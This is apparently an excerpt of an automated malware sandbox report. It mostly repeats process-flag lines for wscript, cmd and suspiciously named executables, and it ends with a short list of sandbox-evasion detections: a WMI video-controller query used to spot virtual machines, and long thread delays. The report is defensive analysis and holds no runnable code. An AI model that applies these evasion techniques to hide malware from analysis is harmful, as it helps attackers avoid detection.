            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeMemory allocated: 3150000 memory reserve | memory write watchJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeMemory allocated: 1B250000 memory reserve | memory write watchJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeMemory allocated: D90000 memory reserve | memory write watchJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeMemory allocated: 1A810000 memory reserve | memory write watchJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeMemory allocated: EB0000 memory reserve | memory write watch
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeMemory allocated: 1A850000 memory reserve | memory write watch
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeMemory allocated: 16C0000 memory reserve | memory write watch
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeMemory allocated: 1B2B0000 memory reserve | memory write watch
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 599881Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 599762Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeThread delayed: delay time: 922337203685477
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWindow / User API: threadDelayed 529Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWindow / User API: threadDelayed 1476Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWindow / User API: threadDelayed 950Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWindow / User API: threadDelayed 1102Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeWindow / User API: threadDelayed 364
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeWindow / User API: threadDelayed 368
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exe TID: 5260Thread sleep count: 529 > 30Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exe TID: 4412Thread sleep count: 1476 > 30Jump to behavior
